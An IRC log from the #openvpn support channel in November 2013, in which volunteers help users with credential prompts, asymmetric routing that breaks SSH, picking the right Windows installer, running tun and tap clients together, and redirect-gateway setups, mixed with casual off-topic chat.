11:29 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:30 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:31 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
11:31 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
11:36 -!- dazo is now known as dazo_afk
11:36 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
11:42 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:58 -!- nick4 [~nick4@46.246.144.5.dsl.dyn.forthnet.gr] has joined #openvpn
12:11 -!- kubbing_ [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has joined #openvpn
12:14 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Read error: Connection reset by peer]
12:14 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:14 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
12:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Write error: Broken pipe]
12:14 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Write error: Connection reset by peer]
12:17 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
12:17 -!- mode/#openvpn [+v s7r] by ChanServ
12:18 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:19 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
12:19 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
12:20 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
12:23 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
12:27 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
12:36 -!- fling [~fling@fsf/member/fling] has quit [Ping timeout: 244 seconds]
12:37 -!- fling [~fling@fsf/member/fling] has joined #openvpn
12:41 -!- tty0x80 [~tty0x80@188.241.65.26] has joined #openvpn
12:41 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
12:43 < tty0x80> Is there a way to force the openvpn client to hide the input for "Auth Username" and "Auth Password"? ("Hide" as in force typed in characters to appear as asterisks instead of plain-text)
12:44 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:44 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Client Quit]
12:45 <+pekster> tty0x80: What do you mean; using --auth-user-pass on a client config and starting openvpn from the console won't echo the password
12:45 <+pekster> (no characters show up at all)
12:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Client Quit]
12:46 < tty0x80> pekster: while that's true for version 2.2.2 with --auth-user-pass, I've had varying results (using the same config) on higher and lower versions.
12:46 -!- kubbing_ [~kubbing@ip-78-102-124-238.net.upcbroadband.cz] has quit [Ping timeout: 246 seconds]
12:46 < tty0x80> Is there some sort of deprecated support for it?
12:47 < tty0x80> e.g. 2.3.2 will echo Auth Username but not Auth Password
12:47 < tty0x80> e.g. 2.2.2 will echo Asterisks for both fields
12:48 <+pekster> What OS are you on?
12:49 <+pekster> And you are starting openvpn from the command line and entering the credentials that way, via a stdin pipe to the process, yes?
12:54 <+pekster> On Linux the password is explicitly not echoed to the terminal
12:54 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
12:54 <+pekster> This is true on 2.3.2 which I just verified now
12:55 < tty0x80> Yeah it's the Username that I also prefer to be in asterisks
12:58 <+pekster> I don't see the usecase. If you really want that, wrap it with a shell function that spits it to a tmpfs file and use the optional file argument to --user-auth-pass
12:59 < tty0x80> You can see how that'd be very messy.
12:59 < tty0x80> What was the switch for anyway? Why not allow both fields to be hidden inputs?
12:59 <+pekster> And your need doesn't make a lot of sense. No, openvpn doesn't support this, but patching it to do so would be trivial
13:00 <+pekster> There is no switch to control this
13:00 < tty0x80> Okay, my "need" was never one to begin with.
13:00 < tty0x80> This functionality was provided by default in 2.2.2.
13:00 < tty0x80> Versions higher than 2.2.2 have varying results
13:00 < tty0x80> That is to say, with the same configs.
13:01 <+pekster> No, I just used 2.2.2 and it does the same thing
13:01 < tty0x80> Odd. Mine "asterisk's" both fields.
13:01 <+pekster> http://pastebin.kde.org/pfzffdhgg/tptmef
13:02 <+pekster> Maybe you have custom, unofficial patches in your build?
13:03 < tty0x80> Yeah I think that might be it. I'll start hunting down changelogs.
13:03 <+pekster> Must be, becuase that is neither the default behaviour nor a controllable option (and I'm not aware it ever has been)
13:04 <+pekster> Your other option would be to use the management console and feed the console the user/pass from whatever method you'd like
13:04 < tty0x80> Is there a switch or option that would prevent echoing the username to the console?
13:04 <+pekster> Nope; you'd need to patch it or use one of the aforementioned methods to feed the password not using the stdin pipe
13:05 <+pekster> See --management-query-passwords for details
13:05 < Fohlen> pekster, having trouble with openvpn. Using a vpn breaks my access to ssh, "connection rejected"
13:05 < Fohlen> sshd reports reverse mapping checking getaddrinfo for failed
13:05 <+pekster> Fohlen: So? Doesn't sound to me like an openvpn problem
13:06 < Fohlen> well ... the computer only can communicate to extern via vpn
13:06 < tty0x80> Fohlen: yeah not an openvpn problem. Check sshd and see what interface it's listening on
13:06 < Fohlen> and its fine without vpn
13:06 <+pekster> !goal
13:06 < Fohlen> problem is the vpn and ssh server are on same machine
13:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:06 <+pekster> !configs
13:06 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
13:06 <+pekster> !logs
13:06 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
13:06 < tty0x80> Assuming you're using a tap device, it should listen out properly but not all server's play nice.
13:06 <+pekster> You've provided none of this
13:07 <+pekster> And no, do _NOT_ use tap unless you need to. That is awful advice
13:07 <+pekster> !tunortap
13:07 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. or (#2) and if your reason for wanting tap is windows shares, see !wins or use DNS or (#3) remember layer2 has no security, arp poisoning works over tap vpns or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices
13:07 <@vpnHelper> (not rooted/jailbroken) support only tun
13:07 <+pekster> !whybridge
13:07 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
13:07 <+pekster> That should be plenty of reading
13:07 <+pekster> With as poor of a description as you just gave, "something is broken"
13:07 <+pekster> Are you perhaps redirecting your Internet traffic (see: !redirect) and failed to mention this?
13:07 <+pekster> OpenVPN does not care at all what you send over it; openvpn doesn't "break" ssh any more than Ethernet or Cable or DSL "breaks" it
13:08 < tty0x80> True story on the tap device.
13:10 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:12 <+pekster> Fohlen: Crystal ball says you're using a provider (which we don't support here) and have asked the server to push you values, didn't understand how/what --redirect-gateway was doing, and this is breaking reply traffic and creating asymmetric routing
13:12 <+pekster> Of course, without a good description of what you're doing, that's completely a guess
13:12 <+pekster> Obvious answer: don't redirect your gateway. If you'd like, go read about policy routing to route "some but not all" of your Internet-bound traffic across the VPN. That's OS-specific
13:13 <+pekster> Maybe see !lartc for Linux
13:14 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
13:14 < Fohlen> pekster, thats more of what I thought
13:15 < Fohlen> because unfortanly I'm sitting behind 2 routers and a proxy only enabling me access via port80/443
13:15 < Fohlen> *to internet
13:15 <+pekster> That doesn't magically change the rules of IP routing
13:15 <+pekster> Fix your asymmetric routing if that's what you've got now
13:17 < Fohlen> kk. Thx for the tipp so far. Trying that
13:18 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 260 seconds]
13:18 <+pekster> If reply packets (the reply your ssh server sends to the ssh client) don't go back the same path they came in on, it means you've got a broken multihomed setup. You need to policy route to fix it, or not redirect that traffic over the VPN
13:35 -!- Netsplit *.net <-> *.split quits: linuxthefish, namidark, Jaska_, defswork, manitu, juxta, master_of_master
13:37 -!- Netsplit over, joins: master_of_master, linuxthefish
13:37 -!- Netsplit over, joins: juxta, manitu
13:37 -!- Netsplit over, joins: defswork
13:37 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Connection reset by peer]
13:38 -!- Netsplit over, joins: Jaska_
13:40 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
13:43 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:48 -!- doug[home] [~dbh@ool-44c59e41.dyn.optonline.net] has quit [Ping timeout: 272 seconds]
13:49 <@debbie10t> Hi what is read UDPv4 [ECONNREFUSED]: Connection refused (code=111) please ..
13:49 <@debbie10t> i presume it is an ICMP code refusing the connection as and not a ICMP port not found ?
13:52 <@debbie10t> hmm .. maybe it is the server refusing a new connection as it still thinks the old client is connected ?
13:52 <@ecrist> firewall
13:57 <@debbie10t> v232 does not give this level of error
13:59 <@debbie10t> unless .. wireshark time
13:59 <@krzee> just look at the logs from the server
13:59 <@krzee> if it does not see the connection, firewall. if it sees it and refuses, see why
13:59 <@debbie10t> the server log has nothing as the firewall blocks the connection . . .
14:00 <@krzee> so there you go
14:00 <@krzee> maybe i dont understand what you're asking...
14:00 <@debbie10t> i am testing but v232 does not return the UDPv4 [ECONNREFUSED]: Connection refused (code=111) error
14:00 <@debbie10t> on the client
14:01 <@krzee> then its not getting refused? the firewall does not HAVE TO actively refuse it
14:01 <@krzee> it can just ignore
14:01 <@debbie10t> yep -
14:03 -!- tty0x80 [~tty0x80@188.241.65.26] has quit []
14:05 <@debbie10t> [WSACONNRESET]: (code=10054) is from ICMP Port unreach .. ok
14:05 <@debbie10t> is there a list of such error codes ?
14:09 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
14:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:14 -!- doug[home] [~dbh@ool-44c45391.dyn.optonline.net] has joined #openvpn
15:14 -!- Sconk [~krh@srv.jtw.dk] has left #openvpn ["Leaving"]
15:16 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
15:26 -!- novaflash is now known as novaflash_away
16:04 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 252 seconds]
16:05 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
16:09 < nick4> I just installed the latest windows client in winxp and I can see that the new 'local area connection' in Network Connections has an "x" in it - a sign of a problem. How do I begin to debug this issue?
16:27 -!- master_o1_master [~master_of@p4FF24D6D.dip0.t-ipconnect.de] has joined #openvpn
16:31 -!- master_of_master [~master_of@p4FD7B963.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
16:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
16:34 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
16:35 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
16:36 -!- nick4_ [~nick4@77.49.130.196.dsl.dyn.forthnet.gr] has joined #openvpn
16:36 -!- nick4 [~nick4@46.246.144.5.dsl.dyn.forthnet.gr] has quit [Ping timeout: 260 seconds]
16:36 -!- nick4_ is now known as nick4
16:37 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:54 -!- tunage [mike@2600:3c00::f03c:91ff:fe70:f0a9] has joined #openvpn
16:57 < tunage> is there a way to connect to the openvpn server without a client? like a seemless browser connection via 1 click?
16:57 <@EugeneKay> No.
16:58 <@EugeneKay> That's not what openvpn is.
17:02 -!- novaflash_away is now known as novaflash
17:06 < tunage> is asa the only device that does this?  http://www.cisco.com/en/US/docs/security/asa/asa84/asdm64/configuration_guide/vpn_clientless_ssl.html#wp1717377
17:06 <@vpnHelper> Title: Cisco ASA 5500 Series Configuration Guide using ASDM, 6.4 and 6.6 - Configuring Clientless SSL VPN [Cisco Adaptive Security Device Manager] - Cisco Systems (at www.cisco.com)
17:14 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 272 seconds]
17:28 -!- akurilin [~akurilin@208.185.21.146] has joined #openvpn
17:38 -!- aidan__ [~aidan@mild.embarrassm.net] has joined #openvpn
17:39 < aidan__> !welcome
17:39 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder
17:39 <@vpnHelper> !sample !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
17:41 -!- aidan__ [~aidan@mild.embarrassm.net] has left #openvpn []
17:58 < nick4> I get a 'Unable to communicate with the OpenVPN service. Ensure that it has been started.' from the client. How do I fix this?
18:07 -!- toothe [~mongolian@unaffiliated/toothe] has left #openvpn []
18:21 <@EugeneKay> That sounds like the output from one of (many) openvpn wrapper applications
18:30 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
18:30 -!- mode/#openvpn [+o debbie10t] by ChanServ
18:31 < nick4> It came from 'openvpn-client.msi'. I got that from openvpn.net.
18:31 <@EugeneKay> !download
18:31 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of
18:31 <@vpnHelper> openvpn (only thing supported here) there is no separate download for client/server, it is the same install with different configs
18:32 <@EugeneKay> Wrong installer.
18:32 <@EugeneKay> (thanks, OpenVPN Technologies Inc!)
18:33  * nick4 scratches head
18:33 < nick4> I'll be running an server on a linux box and a client on a windows box. What do I need to download for windows?
18:34 < nick4> this file? -> openvpn-install-2.3.2-I003-i686.exe
18:34 <@EugeneKay> The .exe at the #1 link above
18:34 <@EugeneKay> For i686 or x86_64, depending upon your Windows flavor
18:34 < nick4> okay
18:34 < nick4> the thing I downloaded, what is it for? What's its use?
18:35 <@EugeneKay> OpenVPN Inc's closed-source commercial product.
18:35 < nick4> ahhh
18:35 <@EugeneKay> And yes, openvpn.net is laid out poorly. And this has been complained about repeatedly.
18:36 < nick4> yeah :-/
18:36 < nick4> a faq would be helpful in this case - 'don't get the .msi file'
18:36 <@debbie10t> its a good site if you put in the effort
18:36 <@EugeneKay> Not really. Scanning the front page for the word "download" misdirects you right off the bat
18:37 <@EugeneKay> You basically have to know that it's a commercial site
18:37 <@debbie10t> i didn't even know about access server for two years !
18:37 <@EugeneKay> Consider yourself lucky
18:38 -!- kossy [a@kossy.org] has quit [Ping timeout: 268 seconds]
18:38 <@debbie10t> do they have the site design ?
18:39 <@debbie10t> maybe i got in before it changed too much
18:39 < nick4> a second website, just for community stuff would be nice
18:40 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 268 seconds]
18:40 <@debbie10t> gotta pay the bills somehow
18:41 <@EugeneKay> I've heard rumour that the .org domain is being worked on for that, but so far I've seen zip
18:41 <@EugeneKay> If the front page's Download section bothered to make it obvious that it's not what 90% of people want our lives would be easier
18:42 < nick4> I'm all for them making money out of it, just don't mislead me.
18:42 <@EugeneKay> Or cause a pain in the free support's ass ;-)
18:43 <@debbie10t> it is a daft trick and it gives the AS product a bad name in the long run
18:44 <@debbie10t> much better to be upfront .. get more respect thaat way
18:46 <@debbie10t> which is ironic as they use a linux back end to support basically a windows front end ..
18:47 <@debbie10t> seems ass about face all round
18:47 < nick4> that too (about pain)
18:48 < nick4> +1 debbie10t
18:48 <@debbie10t> ;)
18:49 < nick4> that's irc plus, 20 years before google plus :p
18:50 <@debbie10t> google .. the worce of the best
18:52 <@debbie10t> google .. what would we do without them ;)
18:52 -!- kossy [a@kossy.org] has joined #openvpn
18:56 <@debbie10t> so .. i was just wondering if anybody else had anything to say about my recent warning from the forum .. i want to know if there are any unaired views
18:57 -!- raidz_away [~raidz@178.209.51.40] has joined #openvpn
18:58 <@debbie10t> this is the only time i will ever bring it up again and wanted to know if anybody had anything to add
18:58 <@debbie10t> friday night .. seems like a good night
19:00 <@debbie10t> .
19:01 <@debbie10t> .
19:01 <@debbie10t> ok then .. case closed
19:06 -!- debbie10t is now known as debbie10t_afk
19:06 -!- raidz_away [~raidz@178.209.51.40] has quit [Ping timeout: 260 seconds]
19:18 <@krzee> nick4,
19:18 <@krzee> !karma
19:18 <@vpnHelper> "karma" is nick++ adds karma nick-- adds bad karma, as seen in !ircstats
19:18 <@krzee> thats irc plus :D
19:19 < nick4> ohhhhhhhh :D
19:19 < nick4> is this saved somewhere?
19:19 <@krzee> !ircstats
19:19 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
19:19 <@krzee> karma is a little new
19:19 < nick4> debbie10t_afk++
19:20 < nick4> did I made it?
19:20 -!- raidz_away [~raidz@178.209.51.40] has joined #openvpn
19:20 <@krzee> yep, it'll show up there next time the stats get tun
19:20 <@krzee> run*
19:20 -!- debbie10t_afk is now known as debbie10t
19:21 < nick4> oh, I woke him up :P
19:21 <@debbie10t> well i should reciprocate ;)
19:21 < nick4> nahhh
19:21 < nick4> it doesn't work like that
19:21 <@debbie10t> nick4+
19:21 < nick4> oh ok
19:21 < nick4> lets karma whore each other now :D
19:21 <@krzee> Poor krzee, nobody likes him. He was attacked 20 times.
19:21 <@krzee> For example, like this:
19:21 <@krzee>      * rob0 slaps krzee with a copy of "man iptables"
19:21 <@krzee> hahah
19:21 <@debbie10t> people with the good sense should be rewarded
19:22 < nick4> does the system protect from such a scheme
19:22 < nick4> ?
19:22 <@debbie10t> no protection :)
19:22 <@krzee> no, this is irc, if people care enough to break it we'll just delete it
19:23 <@krzee>  Statistics generated on Thursday 27 December 2012 - 13:31:36
19:23 <@debbie10t> karma is like a desease once u catch it yr screwed
19:23  * rob0 feels bad for brutalizing poor krzee
19:23 <@krzee> ecrist, can you poke that next time you get bored?
19:24  * rob0 slaps krzee for making poor rob0 feel bad
19:24 <@krzee> haha
19:24  * debbie10t is in ninja fish stance
19:25  * debbie10t slips on fish oil
19:26 < nick4> holly shit, things just got real! - http://cdn-blog-assets.bigfishsites.com/NinjaFelix.jpg
19:26 -!- tunage [mike@2600:3c00::f03c:91ff:fe70:f0a9] has left #openvpn []
19:27 -!- Riyad [~hasan.mah@123.49.60.186] has joined #openvpn
19:27 < Riyad> Hello Everyone
19:29 < Riyad> need a little help !
19:29 <@EugeneKay> !ask
19:29 < Riyad> may i ask a question here ?
19:29 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
19:30 -!- debbie10t is now known as Tech-49
19:32 < rob0> You already did ask a question here, so I think you know the answer to that.
19:32  * Tech-49 has drones to fix
19:33 < Riyad> how to run a tap client on a single ubuntu linux machine? while tun interface cliet already running.
19:34 < rob0> You can run as many openvpn instances as you like, each with a different config.
19:34 < rob0> Maybe Ubuntu has documented their init script somewhere.
19:34 <@EugeneKay> Hah, documentation
19:35 <@Tech-49> @EugeneKay: cruel
19:36 <@EugeneKay> Hardly
19:36 < Riyad> thank you. but my ovpn client act as gateway of my client side network. and it has a public ip.
19:36 < Riyad> my second ovpn client also act as a client side gateway with public ip
19:37 <@Tech-49> @Riyad: why do you need TAP ?
19:37 < Riyad> provider give it.
19:37 <@Tech-49> provider sucks
19:37 < Riyad> i dont have choices.
19:38 < Riyad> 1st client has tun interface but second one is tap
19:38 <@Tech-49> possibly they also offer tun if you look harder
19:38 <@Tech-49> who is provider ?
19:39 < Riyad> uk base. not so reknown provider
19:39 <@EugeneKay> !provider
19:39 <@vpnHelper> "provider" is (#1) We are not your provider's free tech support. We support the free open source app OpenVPN, not your provider. Just because they run openvpn does not mean we are their support team. or (#2) Please contact their support team.
19:40 <@Tech-49> i am surprised that a uk provider is unable to offfer tun aswel
19:40 <@Tech-49> they must be so cheap :)
19:40 < Riyad> ofcourse they able, but i didn't ask
19:41 < Riyad> yes they are cheaper than others
19:41  * Tech-49 has bright idea
19:42 < Riyad> could u have any suggestion bro
19:42 < Riyad> ?
19:42 <@Tech-49> ask them about tun
19:42 < Riyad> ok i will
19:43 <@krzee> lol
19:43 < Riyad> but i personally need to know .. is there any conflict when i run multiple tun tap devices together
19:44 <@krzee> rob0> You can run as many openvpn instances as you like, each with a different config.
19:44 < Riyad> thanks a lot
19:44 <@krzee> Tech-49++
19:44 <@Tech-49> in my experience there is issues running tap and tun at the same time but it is very dependant on your general network settings ..
19:46 <@krzee> nah theres no issue in just that, you can make issues though
19:46 <@Tech-49> exactly ;)
19:46 <@krzee> for example, if they both redirect-gateway, or try to push the same subnet, you may get results you dont expect
19:47 < rob0> We can't comment on how to make the two configs work together, because we have seen neither of them.
19:47 <@Tech-49> bridges that go nowhere don't help
19:48 <@krzee> and more importantly, because you dont run the servers we would not know what their settings are
19:52 < Riyad> may i pase here my config file param??
19:52 < Riyad> *pase paste
19:52 <@EugeneKay> !paste
19:52 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
19:59  * Tech-49 wants riseup invite code
20:01 -!- Riyad [~hasan.mah@123.49.60.186] has left #openvpn []
20:06 <@EugeneKay> I want to be in the girlfriends bed
20:07  * Tech-49 detects conflict of interest
20:11 <@Tech-49> another night in paradise
20:11 <@EugeneKay> been in Atlanta all week for work. we're descending to land now
20:11 <@EugeneKay> then I have a cab and ferry to ride
20:13 <@Tech-49> and a ferry !!!!
20:13 <@Tech-49> ever thought of getting a town house ?
20:13 <@EugeneKay>  in due time
20:13 <@Tech-49> sure sure
20:13 <@EugeneKay> I like her family's farm
20:14 <@Tech-49> the open spaces
20:14 <@EugeneKay>  the cheapness of living at her dad's place
20:14 <@EugeneKay> more gadgets I can get
20:15 <@Tech-49> gadget man ..
20:15 <@Tech-49> if u saw my rig you would laf you legs off
20:15 <@Tech-49> 200watt psu all in
20:16 <@Tech-49> i could probably run it off a bicycle
20:16 <@EugeneKay> hehehe. one of my projects this week is setting up the other three monitors on my desktop
20:16 <@Tech-49> the other three .. lol
20:16 <@Tech-49> dont get radiation sickness
20:16 <@EugeneKay> yeah. gotta wall mount them
20:16 <@Tech-49> or a screen tan !
20:17 <@Tech-49> you got enough walls
20:17 <@EugeneKay> from LCDs? unlikely
20:17 <@Tech-49> ?
20:17 <@Tech-49> are they linked up
20:17 <@Tech-49> i mean as one entity
20:18 <@EugeneKay> of course.
20:18 <@Tech-49> nice
20:18 <@Tech-49> 180 degree stuff
20:18 <@EugeneKay> three outputs from my nvidia, and three usb3-hdmi dongles
20:19 <@Tech-49> u play games on it ?
20:19 <@EugeneKay> occasionally
20:19 <@Tech-49> ahh .. grasshopper .. my guess is u are saving GTA5 for it
20:20 <@Tech-49> half a billion in sales in less than 8 hours
20:20 <@Tech-49> you would need a head transplant to work with my stuff
20:21 <@Tech-49> 1 x 19" low ebergy lcd on low power mode
20:21 <@Tech-49> still it does hdmi
20:22 <@Tech-49> all the power companies jacked up their prices by 10%
20:22 <@Tech-49> we sellotaped our door closed
20:22 <@Tech-49> ;)
20:25 <@Tech-49> last year was the coldest winter on record .. i got 200mill insulation on every external surface and didnt even notice ;)
20:26 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 272 seconds]
20:34 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
20:36 -!- Tech-49 [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
20:39 -!- dima___ [~dima@184.82.34.88] has joined #openvpn
20:39 < dima___> hi
20:39 < dima___> hi
20:40 -!- dima___ is now known as Buttefff
20:40 < Buttefff> hi
20:42 < Buttefff> I am trying to figure out a way to connect ddwrt and openvpn. The dfefault gatway is wan. I can even ping the vpn subnet on client pc. but I can't get vpn connection to default routing.
20:44 <@krzee> !redirect
20:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:44 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
20:44 < Buttefff> push "redirect-gateway"
20:44 < Buttefff> i do have this in the server config
20:45 < rob0> go with the flowchart
20:45 < Buttefff> ooh pretty
21:19 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 268 seconds]
21:40 -!- jctech2020 [~johny@c-50-169-41-97.hsd1.ma.comcast.net] has joined #openvpn
21:40 < jctech2020> heyy finally i found you guys...
21:40  * jctech2020 having problems with openvpn
21:41 < jctech2020> anybody here?
21:42 < jctech2020> !goal
21:42 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
21:44 < jctech2020> help here sucks
21:44 < jctech2020> u all are useless
21:44 -!- jctech2020 [~johny@c-50-169-41-97.hsd1.ma.comcast.net] has left #openvpn []
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:30 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Ping timeout: 246 seconds]
22:34 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
22:44 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
23:34 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 264 seconds]
23:43 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has quit [Ping timeout: 246 seconds]
23:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
23:47 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has quit [Ping timeout: 272 seconds]
23:49 -!- Chrisje [znc@2a03:f80:ed15:ed15:ed15:ed15:4531:4a8a] has joined #openvpn
23:49 -!- Fohlen [~Fohlen@static.196.152.46.78.clients.your-server.de] has joined #openvpn
23:50 -!- alisonc [~alisonc@unaffiliated/alisonc] has joined #openvpn
23:51 < alisonc> I just set up openvpn and I can connect from my laptop but I don't see any tun0 traffic on the server
23:52 < alisonc> what to do now?
23:52 <@krzee> !goal
23:52 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
23:54 < alisonc> My goal is to have a globally routable IPv6 address on vpn clients, eventually.
23:58 < alisonc> I have the simple setup now just to check connectivity. by starting the openvpn client manually I can ping 10.8.0.1
--- Day changed Sat Nov 16 2013
00:00 < alisonc> but, networkmanager vpn client results in don't see any traffic on server tun0....
00:05 -!- james41382 [~james@unaffiliated/james41382] has quit [Ping timeout: 264 seconds]
00:15 <+pekster> alisonc: You're often better off not using NM. If you can ping the peer starting openvpn from a shell but not NM, clearly NM has done something wrong
00:16 <+pekster> !ipv6
00:16 <@vpnHelper> "ipv6" is (#1) https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ for info about the ipv6 features present in 2.3+ or (#2) tap can also pass ipv6 packets without openvpn knowing about it
00:16 <+pekster> !forget ipv6 *
00:16 <@vpnHelper> Joo got it.
00:16 < alisonc> pekster: nm works if I import the configuration from the file.
00:16 <+pekster> !learn ipv6 as The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6
00:16 <@vpnHelper> Joo got it.
00:17 <+pekster> !learn ipv6 as The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
00:17 <@vpnHelper> Joo got it.
00:18 <+pekster> alisonc: I'm still not sure what your problem is. If openvpn works from a shell, then it's working, right? If NM isn't working, try asking the distro or NM's own support
00:18 <+pekster> We neither maintain nor recommend NM due to its awful track record
00:18 <+pekster> (with openvpn anyway)
